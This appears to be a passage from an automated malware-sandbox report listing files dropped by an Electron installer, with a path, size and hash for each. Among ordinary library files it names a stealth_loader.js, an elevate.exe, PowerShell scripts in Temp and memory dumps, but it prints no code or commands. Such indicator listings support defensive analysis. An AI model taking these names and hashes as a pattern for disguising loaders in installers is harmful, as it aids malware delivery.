                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\hi.pak
                    • Size 1.2MB
                    • SHA256 9c6d8d93278a6e375405142df9829adefbcc8ae9797a4f589591b9784b2b71c8
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    hr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\hr.pak
                    • Size 551KB
                    • SHA256 afed35643df24709c8c5cc9b8158b3d9a2266fbfeed132e98ff254ced4086c5f
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    hu.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\hu.pak
                    • Size 595KB
                    • SHA256 b4e6a1135de8bdc42c04f4db4eb1ce48256f18eb46a5146a21010b6165a90e7a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    id.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\id.pak
                    • Size 490KB
                    • SHA256 a21f9474a19fe2d7f26c59f5ba8d6e72801a8a057b7dbcb8b3f96471043d9059
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    it.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\it.pak
                    • Size 539KB
                    • SHA256 33652aae78a486dc3ce4e5affd1b7f72e1248f6f9f3e62188afe3b5d73bd148e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ja.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ja.pak
                    • Size 659KB
                    • SHA256 c5692ca739c31569ae2431fd58f1028e6c8c01af278b76656ee0bb65b79e9985
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    kn.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\kn.pak
                    • Size 1.3MB
                    • SHA256 a6ecf1dfe4d99f6ba0926c696b5b23b77d234fa8fd03da9825b074ecc640d508
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ko.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ko.pak
                    • Size 557KB
                    • SHA256 3fa72d61a997c36f9c093f769f4bba60b290d1fbcb71d5544f85e8e1efe51d07
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    lt.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\lt.pak
                    • Size 597KB
                    • SHA256 a1257d10e673311747363e6929832e70f36668b1fc0d6a5ddd550fe88007aa58
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    lv.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\lv.pak
                    • Size 596KB
                    • SHA256 33fdf706f6d3f06b485c5115a7c73a571296dac41c582fc9d0dbb371d86e8653
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ml.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ml.pak
                    • Size 1.3MB
                    • SHA256 87384db1ddcac012b0b40ec89daf47ebbbcf1497705f023a6983fb2470e4abd6
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    mr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\mr.pak
                    • Size 1.1MB
                    • SHA256 039f4e0176c38867fef57482825d043fa63bf1356c85eab0fc665f118db125e4
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ms.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ms.pak
                    • Size 514KB
                    • SHA256 2f0c83b5b3bff8f624d78e0670a31c509e7f1d5330f72aaede471b2e97c956e2
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    nb.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\nb.pak
                    • Size 499KB
                    • SHA256 887a0278971d6ba61e2f24c62029a3087a46c4962c4357412c28ede12ed6da15
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    nl.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\nl.pak
                    • Size 516KB
                    • SHA256 619c61701b3a142733d23ad8c7117bc013867a842d3d1d572faa56895ad8257e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    pl.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\pl.pak
                    • Size 574KB
                    • SHA256 f2a7dcb69a433c2a898866c555b82c26e3515c089f500e7748b9b11ec3047786
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    pt-BR.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\pt-BR.pak
                    • Size 540KB
                    • SHA256 5ff219be32f9178fee40e8966ac5deff2be1f2ff259a66cb9cdce81c2e90a7e8
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    pt-PT.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\pt-PT.pak
                    • Size 543KB
                    • SHA256 02ea290fac25b414a1d4ed78cdc159cf6c73fe5350824c2f36f032e426a23364
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ro.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ro.pak
                    • Size 562KB
                    • SHA256 655c175903a791d0ff56264a487c53f7bd09ed037cf04cfa6e79eb8be5b677e9
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ru.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ru.pak
                    • Size 924KB
                    • SHA256 4babe5f20caafca33867ee263aa9dd55ed271704a062e4372fdd133eb359a558
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sk.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\sk.pak
                    • Size 580KB
                    • SHA256 89f984a67cea3997c704005fbfbacd3f6f5652248626945c2ab1c3bcf24e6623
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sl.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\sl.pak
                    • Size 556KB
                    • SHA256 458b15bf249c1e6fe9843725c42443274ef6e09dcb15f5288c916c0561aefc47
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\sr.pak
                    • Size 859KB
                    • SHA256 4cea4c83b5e887463dadbf470a9953b8175149f31fd07b83406a6fc59acfde41
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sv.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\sv.pak
                    • Size 501KB
                    • SHA256 105460cb717104d82f99cf8c5e2c51ff252211a605bd1c98bf75981f100d619e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sw.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\sw.pak
                    • Size 529KB
                    • SHA256 f0fccf2e3ad332846736d816e254028569f5f84918573872442987a8bc9bba58
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ta.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ta.pak
                    • Size 1.3MB
                    • SHA256 1cebac8d758298ed2763e62b9bdfb17351831e691ff3e1ba85252c9a66d66242
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    te.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\te.pak
                    • Size 1.2MB
                    • SHA256 8264244c6de861817f5b19cef282844a18ed8cb7d4e059451489652749fe931e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    th.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\th.pak
                    • Size 1.0MB
                    • SHA256 647ad394e92e7610bd0f6c4e08d28748408fcd5a816a35e4622ea7f71cfa7a9d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    tr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\tr.pak
                    • Size 539KB
                    • SHA256 f58ed19be62706fb4fd797a6bfd3af5c6ad4b39aef994a577cd28968fcac0291
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    uk.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\uk.pak
                    • Size 923KB
                    • SHA256 13e40208e2c9f4f4b83dcf422610dc82314a8f99ba50acdbd286c508f92eb232
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ur.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ur.pak
                    • Size 808KB
                    • SHA256 60310f9a3457fae0395b447a30646211ef4160ba84bd7c36d291af4c8ec2b79a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vi.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\vi.pak
                    • Size 639KB
                    • SHA256 fb9463d5655e73fa69cace9800d95f8cd077ee9284fef3bfe162d2bfe220c257
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    zh-CN.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\zh-CN.pak
                    • Size 460KB
                    • SHA256 f0c0ba53c954325b3bbefb333ba23f7fb40a7a4e506043e9f7886089f611943b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    zh-TW.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\zh-TW.pak
                    • Size 455KB
                    • SHA256 d4033cb3264c7c4cd2636ea2a202421650c449e5bfb10f29949e4c44e91ca93b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    resources.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources.pak
                    • Size 5.3MB
                    • SHA256 f299b8d2e59b047f8473e86d88a9ef20b447627c40b5d5a2ebb77c7144faca94
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    app.asar
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar
                    • Size 40.4MB
                    • SHA256 96ba48046d935933f1ba29fd1f5d0b52a08bebbd958a3be055047fb63d311663
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    SystemCore.dat
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\api\priv\SystemCore.dat
                    • Size 1.4MB
                    • SHA256 dae6675f14f34266d35a816c62ae174dc52ed2b04a4eface49a9e137d6b9c721
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    index.jsc
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\index.jsc
                    • Size 3.2MB
                    • SHA256 c98f0fad6b50c4d7c81005f7dc6034cb45ce802454e343d0fa530bc3c4b535c4
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    LICENSE
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\LICENSE
                    • Size 1KB
                    • SHA256 09856b52897c91ab67e7456ef43067019f31dfd3b87fda72e655736b1ebdee55
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    better_sqlite3.node
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\better_sqlite3.node
                    • Size 1.6MB
                    • SHA256 cd436f5af1781f2c234a1259ed4ae30a9e7022a51eb29b74c8093a29a06e0ae3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    common.gypi
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\common.gypi
                    • Size 1KB
                    • SHA256 e71a565cd7733e05efc3a2792b54e260126f03f490325aa2a201202acbbdb315
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    copy.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\copy.js
                    • Size 897B
                    • SHA256 05a2bd41dbd96e33e2fc6cf4bcbc722b4bc8c529813b882f92113d7dbbbece67
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    defines.gypi
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\defines.gypi
                    • Size 1KB
                    • SHA256 1ffa84b8af99780a293dcb7a9031c2dccc8b0d013aef434a35c283cc6c984f2e
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    download.sh
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\download.sh
                    • Size 3KB
                    • SHA256 5de8af6e9f41fc1b5f6d280cdc55d62c2a210faf722c7e529b6b3427be7c80a8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    1208.patch
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\patches\1208.patch
                    • Size 597B
                    • SHA256 5d1f22d69fee3551b70a7b7b9b14be43fcfd04dbc8683233667abfa75905011a
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    sqlite3.gyp
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3.gyp
                    • Size 2KB
                    • SHA256 a009b8f80cf0a944eacaf71a84e590504f353fbd8f8b341138d0c3094e372d18
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    sqlite3.c
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3\sqlite3.c
                    • Size 8.8MB
                    • SHA256 e80215754ac6cfaefe272342efd581b6dbefdbdc21f96bd83fcb698bee9d36a5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sqlite3.h
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3\sqlite3.h
                    • Size 643KB
                    • SHA256 2198c66d4c59ae86421590c27fd53309ec14a595ae31c0c7143247444018a0bd
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sqlite3ext.h
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3\sqlite3ext.h
                    • Size 37KB
                    • SHA256 b184dd1586d935133d37ad76fa353faf0a1021ff2fdedeedcc3498fff74bbb94
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    test_extension.c
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\test_extension.c
                    • Size 587B
                    • SHA256 948af88dbf356835f5496c1a3d047fdbcc58f3717aa9bc94d0943d7de2b7cf5b
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    database.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\database.js
                    • Size 4KB
                    • SHA256 50fe0b490f29174d961c4d1ae54f22973447ff1255fd710e785d201c0ebfb4d0
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    index.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\index.js
                    • Size 110B
                    • SHA256 82db11c4ee43a41d859988c5db42c3771dff565371f94bacbd1e4d8d6ceb47cd
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    aggregate.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\aggregate.js
                    • Size 1KB
                    • SHA256 e9f74eb919ec93fe089c95ddf25a98f1f631c80418fa34fb2346ca1bc29f1b82
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    backup.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\backup.js
                    • Size 2KB
                    • SHA256 ea29d34992bb02e006d0fdeda9675ac5d2bb227aaf57468decd997e9fc9c7dbf
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    function.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\function.js
                    • Size 1KB
                    • SHA256 f431d49303b8bbdc044b1f1b455bdad21fc9b74b007de0acb22f08f25b4febd3
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    inspect.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\inspect.js
                    • Size 174B
                    • SHA256 4975a78daee850adee62ba98719d0f223819a0ec135a07c0e302994bd8dbff61
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    pragma.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\pragma.js
                    • Size 536B
                    • SHA256 8b1c54475bd4340b15e25c50d53d06308be65f8f919ecbe4aa9d285ca859ad5a
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    serialize.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\serialize.js
                    • Size 625B
                    • SHA256 7a10ee5c2735384b7f0c361811bc6d017db29f62b203fd3c68a35f667e2c2605
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    table.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\table.js
                    • Size 6KB
                    • SHA256 97c42d9ded1aa96c7d916b5b92f96b4e59581d50eaf629cd2c7afb78ff26a9ea
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    transaction.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\transaction.js
                    • Size 2KB
                    • SHA256 bc8624a3ef689d8f78e5669020ad121e17acbc93b1d5ee5afe26860b1084c66c
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    wrappers.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\wrappers.js
                    • Size 1KB
                    • SHA256 a150a6271d23f4e5f8953b129f370ff096c7cdc4b812afbf080a6cf4ab741bcf
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    sqlite-error.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\sqlite-error.js
                    • Size 717B
                    • SHA256 2582d61c27680dead168543f392eb102be621dfbef282a4ca4c7c21aa5e7c75d
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    util.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\util.js
                    • Size 331B
                    • SHA256 92b2e39e2151b43a2252e10b6d6de876ecaf0008336a4fa1dfe1317b20f1916f
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    package.json
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\package.json
                    • Size 789B
                    • SHA256 7de814561f018b0a493fbdaf7026cd4053937de66736be0175d1d0f7727ab4b4
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    better_sqlite3.cpp
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\src\better_sqlite3.cpp
                    • Size 129KB
                    • SHA256 551abc7d9feea0ad2acb97f33125c5e8800d6d84a1da4390512d08743f924b1e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    better_sqlite3.hpp
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\src\better_sqlite3.hpp
                    • Size 42KB
                    • SHA256 689831cdf547d53b2156fa66088f04b89ed71173f4a832300230ff765879f6bf
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    stealth_loader.js
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\app.asar.unpacked\stealth_loader.js
                    • Size 3KB
                    • SHA256 b4afb703e7db691a9d9b12b578cdc3a98f4ace1022ed9224c758644830af33e5
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    elevate.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\resources\elevate.exe
                    • Size 105KB
                    • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    snapshot_blob.bin
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\snapshot_blob.bin
                    • Size 302KB
                    • SHA256 22a46de643045805a3e588f9a18ebaa377f9fba3dee46b2d60f3ae300a09cc4e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    v8_context_snapshot.bin
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\v8_context_snapshot.bin
                    • Size 646KB
                    • SHA256 a8bd22478c4f85afa836c89d3a7f52c606b17872fbbefce268b499bedede10ae
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vk_swiftshader.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\vk_swiftshader.dll
                    • Size 5.2MB
                    • SHA256 ff4384263025da5b1d9fb4741a80c43244003af04f78c59c527bbc17e61d59ba
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    vk_swiftshader_icd.json
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\vk_swiftshader_icd.json
                    • Size 106B
                    • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    vulkan-1.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\vulkan-1.dll
                    • Size 938KB
                    • SHA256 9587467b264fe5ee668cabe2c1fa34eb411f257d3a22c4d58e17e12e110c96e4
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    SpiderBanner.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\SpiderBanner.dll
                    • Size 9KB
                    • SHA256 996a259e53ca18b89ec36d038c40148957c978c0fd600a268497d4c92f882a93
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    StdUtils.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\StdUtils.dll
                    • Size 100KB
                    • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    System.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\System.dll
                    • Size 12KB
                    • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    WinShell.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\WinShell.dll
                    • Size 3KB
                    • SHA256 9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    nsis7z.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\nsis7z.dll
                    • Size 424KB
                    • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sys_debug_483f14f9.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\sys_debug_483f14f9.ps1
                    • Size 707B
                    • SHA256 c0f339e2a24676f2d13c4a0cc9c990e1ac4cd3ac32a5cec9587f257423e61e18
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    sys_debug_f6595fc8.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\sys_debug_f6595fc8.ps1
                    • Size 711B
                    • SHA256 ce47b0a8938afe541ccd97b403dfa862b28756b4f6dff1ef33f371f42190ecab
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    default.dic
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
                    • Size 2B
                    • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                    • MD5 SHA1 SHA512
                    Submit Download

                    Network Persistent State
                    • Path C:\Users\Admin\AppData\Roaming\chiloutvrmod\Network\Network Persistent State
                    • Size 300B
                    • SHA256 219b50b514e25ea16c505a4c4e8814bf206ecd7e2f2188347c8ce81928b0320e
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    Network Persistent State~RFe58c57e.TMP
                    • Path C:\Users\Admin\AppData\Roaming\chiloutvrmod\Network\Network Persistent State~RFe58c57e.TMP
                    • Size 59B
                    • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    memory/5664-755-0x0000029254A20000-0x0000029254A42000-memory.dmp
                    Download

                    memory/5800-850-0x00000245D9840000-0x00000245D9890000-memory.dmp
                    Download